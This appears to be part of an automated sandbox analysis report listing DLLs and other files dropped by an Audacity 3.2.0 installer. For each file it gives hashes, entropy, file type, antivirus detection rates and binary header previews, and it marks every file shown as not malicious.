Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$........K.!..r..r..r.RYr..r.R7r..r.R.s..r.R.s..r.R.s..r.R.s..r.S.s..rf].s..r.S.s..rsZ.s..rsZ.s..rsZ.s..r..r.,.r.S.s.+.r.S.s..r.S5r..r.]r..r.S.s..rRich..r........PE..d.....{b.........." ......X...Z.....k................................................O....`............................................]*......X..............\|7......./.......... .}.8................... ~.(.....}.@............@...E...........................text....X.......X................. ..`.rdata....J...X..0J...X.............@..@.data...).......l.................@....pdata...............J..............@..@.idata..e\|...@...~.................@..@minATL..)............n..............@..@.tls................r..............@....00cfg..u...........v..............@..@.rsrc...............x..............@..@.reloc..B...........................@..B................................

C:\Program Files\Audacity\is-KRBVG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	94184
Entropy (8bit):	4.652573589494716
Encrypted:	false
SSDEEP:	768:9+HJO9Ezf1J8Ze+iKHVmgUq5A9IcPonmkEYXYg0a1:9bGOe+iMVmyszPonlXYPc
MD5:	0072725F88C1F039BF3F9ACEEA5262B3
SHA1:	1A9441F83CEB671EDFFF88465D751393F588C681
SHA-256:	D14F87BC2337D35F773F917B8FA6EADC7F18009BDDF17E9F717E5D5EBFE5347B
SHA-512:	CF134D546E0D369C7341B36FBCB5FEC39DF97E1A388FC1827CDF3B9AD556DBCFBC7707B833E32D9D32177049B95E49376187436C11548BB0345C5527D4FA2797
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.N...N...N...6...N..'5...N..'5...N..'5...N..'5...N..t<...N..$7...N..)5...N...N...N..)5...N..)5...N..)5t..N..)5...N..Rich.N..........................PE..d...e.,c.........." ...!............................................................ 3....`..................................................F...............0.......@.../..............8................... ...(...p...@............@...............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.......0......................@..@.idata.......@......................@..@.tls.........`.......0..............@....00cfg..u....p.......4..............@..@.rsrc................6..............@..@.reloc..E............<..............@..B................................................................................................

C:\Program Files\Audacity\is-L050V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69096
Entropy (8bit):	4.400883054086162
Encrypted:	false
SSDEEP:	384:e4z0j+ypZvzS/kadBkNg7LkSx4ast+Sw7pQ/8ZppwKANynss2m/8E9VFyXzHjTzO:FzXkNRQJsszWnmkEYXXW
MD5:	563D08F8AE453987CAF15F293A168B3B
SHA1:	71AC56E69B1DDBB641384984B0584CF29A7BFB15
SHA-256:	F8BA6C591DC20AABE252D9EE091FD5F9005958721542428FCAAF23CE49488561
SHA-512:	BFDAAE793059BE293C9A180C6B96E967ABDC5F83C8E4D7A986E4C06BA4A9FBD9BD043754759D5C8FEBB465FC010442C6992A9B9A97E1733BE90972C67C504FA2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.`................................................................................F..................................Rich............PE..d.....,c.........." ...!.....Z...............................................@............`.........................................@................ .................../...0..\......8...........................p...@............................................text.............................. ..`.rdata...&.......(..................@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-L0CK2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	229864
Entropy (8bit):	5.76303158269338
Encrypted:	false
SSDEEP:	3072:0N7K/0qjU8V5SypKBOAAXWLYs2jcPfD9WPomKlRG6LFGnunhf:h0HaSy0BOAWLQjkPotlRG6Yunp
MD5:	8B864CD34076A4F940545AE14C13E11D
SHA1:	A647D02E4C4FC934E74FD139DFB2BBFF378501E3
SHA-256:	AE07630EADC94CF3B2FDFD78FFF1CE2E5224681BC21BDE7B0771D51B3BCCA7B7
SHA-512:	162A13F439CAE451C2C43CB6E232E418DDFEE890DF6003EB2E90A8F6CB4612DA4D798C20E79C312644A627EEACB355503973942F9F6960B483B5D0FF2E8F3AE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............qO..qO..qO...O..qO..pN..qO..tN..qO..uN..qO..rN..qO..uN..qO..pN..qO..pO..qO].uN..qO].qN..qO]..O..qO].sN..qORich..qO........PE..d....5.a.........." .........`............................................................`.........................................`...T....g..........<....@.......R.../..........t...8...............................8............`...............................text...d........................... ..`.rdata..............................@..@.data........ ......................@....pdata..$....@......................@..@.idata.......`.......*..............@..@.00cfg..c............F..............@..@.rsrc...<............H..............@..@.reloc...............N..............@..B................................................................................................................................................................

C:\Program Files\Audacity\is-LAIB1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	945128
Entropy (8bit):	4.279583617257976
Encrypted:	false
SSDEEP:	12288:TgsCNapV6RcecQVOQuxONdz8SVvnluD942:TYmIRcecQVOQuxONdzhvEB42
MD5:	8FCCCB03718720C8C3FA871B9B590C7E
SHA1:	ADE264198F7D276A028DD3A06EBC1DBD6074671F
SHA-256:	8DC8DA85EBE1FB02859A3597327972658F8115A4D935B80038929630A2CE3B8D
SHA-512:	1CE93DE1E136A31095BBBE4ED848AE56E1B7994490C5070766361702B356B79948E73A15EB6B7FBA0130EEDABECA4E6CE4494DC2B4C94273735329DC5F6E2380
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........4...g...g...g.4g...gW..f...gW..f...gW..f...gW..f...g3..f...g...f...g...g...gZ..f...gZ..f...gZ.Xg...gZ..f...gRich...g........PE..d...H7.c.........." ...!.....\.......................................................%....`.........................................P........4.......`..<............<.../...p..........8...............................@............0...............................text............................... ..`.rdata..Z...........................@..@.data...............................@....pdata..............................@..@.idata.......0......................@..@.00cfg..u....P......................@..@.rsrc...<....`......................@..@.reloc..S'...p...(..................@..B................................................................................................................................................................

C:\Program Files\Audacity\is-MVD1T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	355304
Entropy (8bit):	5.675729174663447
Encrypted:	false
SSDEEP:	6144:TBC3yn0TSRq24YWtpQf09sbS92+LZ33nv:IH/v
MD5:	CD7C6B414B5814AA469473572EF0129C
SHA1:	152CAAC8F31E5342B7BB0E37F6999BFF904701A6
SHA-256:	9FEF6CDEA7B899CC7ED53B01CE64EF3011AAE6EC250118DB172EBFE582777956
SHA-512:	6B982FC3EE99DEBF08955A22C2E92E52DD73505259003A355D0B58E642B5B62B274D6E4B83E5F404CA74E8C8CBB5C8B3D45A971B6CF307127E878FC18BF1268F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&yM.G...G...G...?...G..1<...G..1<...G..1<...G..1<...G..b5...G..2>...G..?<...G...G...G..?<...G..?<...G..?<...G..?<...G..?<...G..Rich.G..................PE..d....,c.........." ...!.....D......(.....................................................`.........................................@...^....I..@................#...<.../...........j..8................... r..(... i..@............@...............................text............................... ..`.rdata....... ......................@..@.data...............................@....pdata...'.......(..................@..@.idata..^#...@...$..................@..@.tls.........p.......$..............@....00cfg..u............(..............@..@.rsrc................*..............@..@.reloc..1............0..............@..B................................................................................................

C:\Program Files\Audacity\is-NKFUD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	242152
Entropy (8bit):	5.439059169311883
Encrypted:	false
SSDEEP:	3072:oUIkQJT4nyUEkPyAiHq5iofj88lkENqenhXP:LIkQJ6qkPm398lkENqenBP
MD5:	092691BF2835781EB0A7B86322844EC4
SHA1:	3AFA09FFB1BC28F9874435E145498AA9147456AB
SHA-256:	CFF67930CB34C97DE4523A30C6EC321A252733B54D2AF50E1D1AFA1355EDEBBE
SHA-512:	8847A1E0453CACB71BFE22F8ECE3FE55BF0629B9E76A1EDB4659C49802D8543C98444BA7100E586295283D72E579CB8BC6316DE3FD28B1A4CEEF59E4D8B34456
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........-.o~.o~.o~...~.o~i.j..o~i.k..o~i.l..o~i.n..o~:.n..o~j.n..o~g.n..o~.n~d.o~g.j..o~g.o..o~g.~.o~g.m..o~Rich.o~........PE..d....,c.........." ...!.$...j......(................................................Y....`.........................................p....$..@...@............`..\|......../..........@q..8................... w..(....o..@...............@............................text...3#.......$.................. ..`.rdata..w....@.......(..............@..@.data....P.......B..................@....pdata.......`......."..............@..@.idata...3.......4...:..............@..@.tls.................n..............@....00cfg..u............r..............@..@.rsrc................t..............@..@.reloc..)............z..............@..B................................................................................................................

C:\Program Files\Audacity\is-NL931.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3301352
Entropy (8bit):	6.337141694661292
Encrypted:	false
SSDEEP:	49152:udx4HDQNJL0VR6SgMt+k4RiP+RmXMjiINiMq95FoHVHNTQTEjt333ONcqnx:PHDYsqiPRhINnq95FoHVBt333ONcqx
MD5:	220722BABC7320F6FF80BB591C9DA719
SHA1:	6F2700F72228979D0168E9A2C01C69621E206577
SHA-256:	56C39AD68F75846127334E0266E1A5FD7465EA9F00EF2D47CA16A7672DF13897
SHA-512:	C0782345CBFB35F84DA7001F15BDC45AA477F0C53E21B722AC7ED8C5F40C9DF83145DA45F54321893E5EFEFDE400B55AA6EAE6E83A9C82436E9A48491CFD8555
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...oGXb.................B,.........`V,......`,...@...........................3.....B.2...@......@....................-.......-..9...................02../....................................-.......................-.......-......................text.....,.......,................. ..`.itext...(...0,..*....,............. ..`.data........`,......F,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-...... -.............@..@.rsrc................"-.............@..@..............1.......0.............@..@........................................................

C:\Program Files\Audacity\is-NOB4R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176616
Entropy (8bit):	5.4004103712971805
Encrypted:	false
SSDEEP:	1536:KzUVbuycsJriqTeUYJYq1YnABFiOMZEtztmT1+2wQftsQ7woW/kZDQ+CDcr1b3Oa:RwYxn0FiRZSl0V3OYKnh8
MD5:	274D16CF279511B16151C2416EE4E04F
SHA1:	B27835A661694BF16CF28751440B2FAB34F318C1
SHA-256:	8C1230733A805341D86EAC2036AF31EE34E6308613767CB3732C07DBD2F74097
SHA-512:	06A4FFFA68FA0F0C9D54F54E321828A6E8CDCF18022BF83558173F259911683E89D82772BE110E8FC32E2A41EC6597D5A0317201502AA57A0B02EC76F85E33DB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jg.u.4.u.4.u.4...4.u.4A..5.u.4A..5.u.4A..5.u.4A..5.u.4...5.u.4B..5.u.40..5.u.4O..5.u.4.u.4.u.4O..5.u.4O..5.u.4O..4.u.4O..5.u.4Rich.u.4................PE..d....,c.........." ...!............................................................. ....`.............................................z*...}..h............P..L......../..............8...............................@............p...............................text............................... ..`.rdata..:...........................@..@.data........0......................@....pdata..\|....P....... ..............@..@.idata..r<...p...>...8..............@..@.00cfg..u............v..............@..@.rsrc................x..............@..@.reloc...............~..............@..B........................................................................................................................................

C:\Program Files\Audacity\is-NTE5N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18346984
Entropy (8bit):	5.799007831846941
Encrypted:	false
SSDEEP:	98304:Kjzz9bIIQItaxXOK0fSiBSKnDD0S27jAx/wovRsrNnasJvkvNcqC:gX9bqXOK0LBSKnsSGo/L5srNnasVN/
MD5:	686920484890800433A208E111666FE1
SHA1:	C0883885EED96B21802F6AA048F26BE2A0696DC2
SHA-256:	70443B2187A22DFFA90924F089440299514A9604C2AB44482A7002470B286290
SHA-512:	E4A150CE977875B621A8B84CB09D3DF5DC2B7A4B82466BB6EA3CCAFF18D8D4C1B0C53339EEB859C2281F501046625A9053E3EF5830237F71B60F12F0957CB7C6
Malicious:	false
Preview:	MZ......................@...................................h...........!..L.!This program cannot be run in DOS mode....$.......M.F...(...(...(.......(......(...,...(...+...(...-.&.(...)...(.l.)...(...)...(.h.)...(...)...(.m.)...(...,...(...-...(...-...(.m.,...(..,...(......(..)...(...)...(...,...(...).4.(...)...(...-...(...(...(......(......(.Rich..(.PE..d.....,c.........."....!.....v......O.........@..............................".....".....`.........................................P...'....N...................$......./......l......8....................T..(.......@............p...............................text............................. ..`.rdata..w.L......L................@..@.data...)...........................@....pdata..$...........................@..@.idata.......p......................@..@.tls................................@....00cfg..u...........................@..@_RDATA..Z...........................@..@.rsrc...............................@..@.reloc..nD......

C:\Program Files\Audacity\is-OF8N5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	225768
Entropy (8bit):	5.366545326426233
Encrypted:	false
SSDEEP:	3072:+RR+D5x63GJx/IWbnWPjP7Ttt7ZJ+Tnhw1:8sDxQDPjP7TbL+Tny1
MD5:	DA6A2794070DA574578D39FC4CB75BD0
SHA1:	3EE29CC43C552E550FAACF13668905C66A00BB10
SHA-256:	D7C210BDBA2FF99785EB1F3D41CB9D60B25DD92205742180BC6495BD5784BCD0
SHA-512:	8732A5CDA0F5B5C8EC3795D447521DF28225915C6E990080D6E1299B88D628074BD4D1A4C13DCCE0988529AB6DA898C125772C8EAE4D73B0408301D8E410C407
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..QX.WQX.WQX.WX `WWX.W.#.VFX.W.#.VYX.W.#.VRX.W.#.VWX.W..VSX.W.!.VSX.W0".VSX.W.#.VVX.WQX.W.X.W.#.VXX.W.#.VPX.W.#.WPX.W.#.VPX.WRichQX.W................PE..d.....,c.........." ...!.....J......#.....................................................`..............................................F..........................B.../......L....+..8....................1..(...`*..@............ ...............................text...;........................... ..`.rdata..B...........................@..@.data....).......$..................@....pdata..P...........................@..@.idata...0... ...2..................@..@.tls.........`.......0..............@....00cfg..u....p.......4..............@..@.rsrc................6..............@..@.reloc..B............<..............@..B................................................................................................

C:\Program Files\Audacity\is-P90KL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	74895
Entropy (8bit):	4.705526648142378
Encrypted:	false
SSDEEP:	768:2pzun1iYWrTXo0HDOc7Y+tNdSz3ZlqXOWoInuzx3Y8N3WiYD9P1GKQwq1Fl+bzg:A+8TXoWVtNIq1uzZY13oKQT1+3g
MD5:	AF89B6DEF149203612F56EF0F3B6F5A1
SHA1:	CD7C4313C3DFBB54F344C1946A5E2E523A7DC0AB
SHA-256:	F6D3C12A6845004F3B8CD53A3CB09DF58F30CC920AFA98C380AA6FBD71B9A4DC
SHA-512:	DC3212F0E8AECEC438B89BA7F8A4EE785D90909E8AFB04811BC6E1943A425577FA88CDE795BCA6749825A8BB408E3ECEB26D9C69B194903F0DE36FE56311788E
Malicious:	false
Preview:	Audacity is released under the GNU General Public License version 3 (GPLv3). ..Individual source files may be available under other licenses as specified ..in those files or an accompanying file. In particular, many source files are ..available under GPL version 2 (GPLv2) or (at your option) any later version, ..and this is the default license used where no other license is specified.....Documentation is distributed under a Creative Commons-Attribution license...(CC-BY 3.0)....Following are the full license texts of the...* GNU General Public License Version 2 (GPLv2), ...* GNU General Public License Version 3 (GPLv3), and...* Creative Commons-Attribution 3.0 Unported (CC-BY 3.0)..licenses. ....###############################################################################...... GNU GENERAL PUBLIC LICENSE.... Version 2, June 1991.... Copyright (C) 1989, 1991 Free Software Foundation, Inc... 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.. Everyone is permitted to

C:\Program Files\Audacity\is-R9F1C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85992
Entropy (8bit):	4.718541662827653
Encrypted:	false
SSDEEP:	768:lrSatmNjwjWBD0qWe6+yRaQbV+C8pXgPbBnmkEYXFx:2ybRaQb+p0BnlXFx
MD5:	93D85AAAD921AA9FB2B867525943320D
SHA1:	5ED25136C6E9DDB6200BF431B19BB93BEE42E893
SHA-256:	96BE2C683E626073B9649CCAD1B4599DA1C419E2EE6C7B5DF7001608B982D1DB
SHA-512:	4E8796C201C32D73F8635988CE1505445300BAC11407E57D3698D2F441ABCE5E76EB94F7E6B1EB0D2626E12B0A76751D997CF40209023583AC120C1B549C9FCE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x,$.<MJ.<MJ.<MJ.55.8MJ..6O./MJ..6N.;MJ..6I.>MJ..6K.;MJ..?K.>MJ.<MK..MJ..6O.9MJ..6J.=MJ..6..=MJ..6H.=MJ.Rich<MJ.........................PE..d...S.,c.........." ...!.....n...............................................p............`.........................................`........3.......P..<.... ....... .../...`..t.......8...............................@............0...............................text...U........................... ..`.rdata..?E.......F..................@..@.data...............................@....pdata....... ......................@..@.idata.......0......................@..@.00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-SO45U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	308712
Entropy (8bit):	5.167199754452174
Encrypted:	false
SSDEEP:	6144:sFaeToAF79RfFtcoiSp+mlnWLmASM00HF+3eEeuO9HABLxD3b2K730OAIQzJeeVT:sFaBFJeE
MD5:	4AE395BA7C53BAB245DD0DB89B2ACB67
SHA1:	84523464961E617DBEA984719162F5E861CACFC8
SHA-256:	DC0A9F2D11DE37CB70929AF9BB4649890B996EF89FD60BAF6D44959643AD0ACC
SHA-512:	38A4FB43E6E20A4FF4BAA4A78B28E23A5F2DF2D374A7D2019804645E2CFF17A72FAEF4753FC9D82C78E36E07E11A90659C9097A88DC8A09811EA60E5FD923FCD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!...ews.ews.ews.l..cws...v.}ws...w.mws...p.fws...r.cws...r.gws...r.gws...r.`ws.ewr..ws...v.Dws...s.dws.....dws...q.dws.Richews.................PE..d...!.,c.........." ...!............................................................Z.....`..............................................*..0................P.........../......4....^..8....................d..(....]..@...............0............................text............................... ..`.rdata..............................@..@.data...i:.......2..................@....pdata..."...P...$... ..............@..@.idata..F%.......&...D..............@..@.tls.................j..............@....00cfg..u............n..............@..@.rsrc................p..............@..@.reloc...............v..............@..B........................................................................................................

C:\Program Files\Audacity\is-TDP90.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	5.000517824229806
Encrypted:	false
SSDEEP:	768:JjXhzLGaF4R8buDpSHlO6m1pHnmkEYX40B:JjX5T4SuDpSH81pHnlX40B
MD5:	F4C4DCE9958CDCAA078587F21BD110BD
SHA1:	5B2976AFB33CA143820883BA8BBEF6F6495993E9
SHA-256:	CEE2DE572863749B7890E6037A7E8629A9F368F333EEB90DBDACDE26962B9508
SHA-512:	4DEB66EA7003AB2B2E179013B87CA262E652459110DCF3D52EC40E80B5892E66A9180012126E10B1273D43F8B83079A5B48DB17F073EBCADF2077EB6475B53C3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........L..L..L..E.C.J.....N.....G.....D.....O.....K..L........I.....M..../.M.....M..RichL..........PE..d....5.a.........." .........b...............................................@............`.................................................x........ ..<................/...0......................................`...8...............x............................text...D........................... ..`.rdata...).......*..................@..@.data...............................@....pdata..............................@..@.idata..C...........................@..@.00cfg..c...........................@..@.rsrc...<.... ......................@..@.reloc.......0......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\is-U641C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72680
Entropy (8bit):	4.656550927654234
Encrypted:	false
SSDEEP:	384:WcjSmTRQNPZjTfez4gxKNOsvgh97O8xziwRtNnM43pwKANynss2m/8E9VFyXmt67:fKZWiNOPO8VDdnQnmkEYX3
MD5:	8525BE5196E9F8FF08C7F335BADAC5C3
SHA1:	A40528E4A85486C2DE90435AC6B2BE03E0E1C378
SHA-256:	0499F2BBE552E575A4CE3175A63D35D6867385C6591703A2D2048B565148797A
SHA-512:	F553C0DD016CF24B555A7A1645FD160836916EE243AB78F7052D5A645F7A299A9E89194D6262CB5A2CF3FB7951C69C018C01702BDCE01A52736FD1041CAB7970
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........n...n...n.......n...k...n...j...n...m...n...o...n.J.o...n...o...n...o...n...o..n...k...n...n...n.....n...l...n.Rich..n.........PE..d...u.,c.........." ...!.z...v...............................................P......~.....`......................................... ...S... ........0.................../...@..d...@...8.......................(.......@............... ............................text....y.......z.................. ..`.rdata..s8.......:...~..............@..@.data...............................@....pdata..\|...........................@..@.idata..0...........................@..@.tls................................@....00cfg..u.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................

C:\Program Files\Audacity\is-UFU1R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158184
Entropy (8bit):	5.098093693979249
Encrypted:	false
SSDEEP:	1536:7huamjZJj++cwor+wSCCdtpnrL0SknlXdt:7Lm1JqwO+wSJrwSknhD
MD5:	902C4846494AE9E2A1E5738E6F7C5A21
SHA1:	901A07897F19BDABBB325F7F3053DC7ED7F4F150
SHA-256:	8B28239AB4AC0107A9F7A52B95B242830A684FE925A055F92FC594068E84AE66
SHA-512:	5B5C6C4657C4A8C45CC4FE619ABFE3978A5E62A4D99B19E4DE0639667ACF45DC9251A584F94AA42ABF9802EA10C72255630F3E1982D22E1BA5A6B9905E52F202
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..N...N...N...G}{.H....~..X....~..F....~..M....~..H...w..L....\|..L....~.._...N...(....~..J....~..O....~..O....~..O...RichN...........PE..d.....,c.........." ...!.....".......................................................S....`..............................................%.. 9..T....p....... .......:.../..........pH..8............................F..@............0.. ............................text............................... ..`.rdata..e....0......."..............@..@.data...YS.......J..................@....pdata..<.... ......................@..@.idata...(...0...*..................@..@.00cfg..u....`.......,..............@..@.rsrc........p......................@..@.reloc...............4..............@..B........................................................................................................................................................

C:\Program Files\Audacity\is-UJ3RS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38304
Entropy (8bit):	6.3923853431578035
Encrypted:	false
SSDEEP:	768:Xhh4pTUUtmUwqiu8oSRjez6SD7GkxZYj/9zLUr:xJ9x70GkxuZz2
MD5:	75E78E4BF561031D39F86143753400FF
SHA1:	324C2A99E39F8992459495182677E91656A05206
SHA-256:	1758085A61527B427C4380F0C976D29A8BEE889F2AC480C356A3F166433BF70E
SHA-512:	CE4DAF46BCE44A89D21308C63E2DE8B757A23BE2630360209C4A25EB13F1F66A04FBB0A124761A33BBF34496F2F2A02B8DF159B4B62F1B6241E1DBFB0E5D9756
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L......................h.........G.........:...h.......h.......h.......h.......h.+.....h.......Rich............................PE..d................." ... .:...6.......A..............................................B.....`A.........................................m.......m..x....................n...'......D....c..p...........................`b..@............P..`............................text....9.......:.................. ..`.rdata..."...P...$...>..............@..@.data................b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..D............l..............@..B................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-UR1D7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	571312
Entropy (8bit):	6.492350759123951
Encrypted:	false
SSDEEP:	12288:Rsjw3shF+jss1I8CgEWTe5+YMCMGz2MMY5U489wiyaf+QEKZm+jWodEEVksLd:Rs/5U4RBaf+QEKZm+jWodEECsL
MD5:	7DB24201EFEA565D930B7EC3306F4308
SHA1:	880C8034B1655597D0EEBE056719A6F79B60E03C
SHA-256:	72FE4598F0B75D31CE2DC621E8EF161338C6450BB017CD06895745690603729E
SHA-512:	BAC5729A3EB53E9BC7B680671D028CABEF5EA102DFAA48A7C453B67F8ECB358DB9F8FB16B3B1D9EA5A2DFF34F459F6AC87F3A563C736D81D31048766198FF11E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T4...U...U...U...'...U...-8..U...U...U..p/...U..p/...U..p/...U..p/...U..p/...U..p/T..U..p/...U..Rich.U..........PE..d...,pd..........." ... .H...b.......3..............................................r.....`A.........................................H..h...."..,...............8:.......'......8.......p...........................@...@............`...............................text....G.......H.................. ..`.rdata..b....`.......L..............@..@.data...P:...@.......(..............@....pdata..8:.......<...F..............@..@.rsrc...............................@..@.reloc..8...........................@..B................................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-V5T2O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134120
Entropy (8bit):	5.064411087679797
Encrypted:	false
SSDEEP:	768:kJg3MBiED1qL4qf4pWGiERthk/vH6J5pOgiaxWgDQ4CiYjzaGFQrbH0JhmBHFK0u:I5xA4WGHR3fMg7Q4kJ8xFK0xvnlX19S
MD5:	31C217891F63691E007D0EE267B1D8E1
SHA1:	A118A276B866E9EEB5605373467598BEBAFD7574
SHA-256:	2AFF294A0E67CD38748433776489E87C0E0C69984F9A2350D32D7A73637876F7
SHA-512:	DCEDCAE92AD993EEE336039DCCB0F06FEE1E57CCF10DA8C1B27CC991C09332D647EB1A97AA2D91440DB1EAF54D709923ECA6DEB76CA9E6193E265FD13B846E55
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p.}(4..{4..{4..{=.{<..{...z"..{...z<..{...z7..{...z2..{...z6..{...z6..{...z1..{4..{@..{...z6..{...z5..{...{5..{...z5..{Rich4..{........PE..d.....,c.........." ...!.,...................................................0......D.....`............................................................................../... .......R..8............................P..@............................................text...W*.......,.................. ..`.rdata...]...@...^...0..............@..@.data...............................@....pdata..............................@..@.idata...#.......$..................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-VGNVB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	164328
Entropy (8bit):	5.003548784517979
Encrypted:	false
SSDEEP:	1536:+/ZPB4tAU9g89LDTufGx9vbz5BQxardAI0DQl+nlXuai:+tPILDT7pKxardAIl+nhuh
MD5:	DC9602567F319D9455DBA2460690ACB9
SHA1:	31BF468C31CDE222AA4906D6B681C2CC4D7669C2
SHA-256:	7B8AF94988E44C94A4B7448DE9047E17DD48D641BC8752FB3F0725BF7B2ADD89
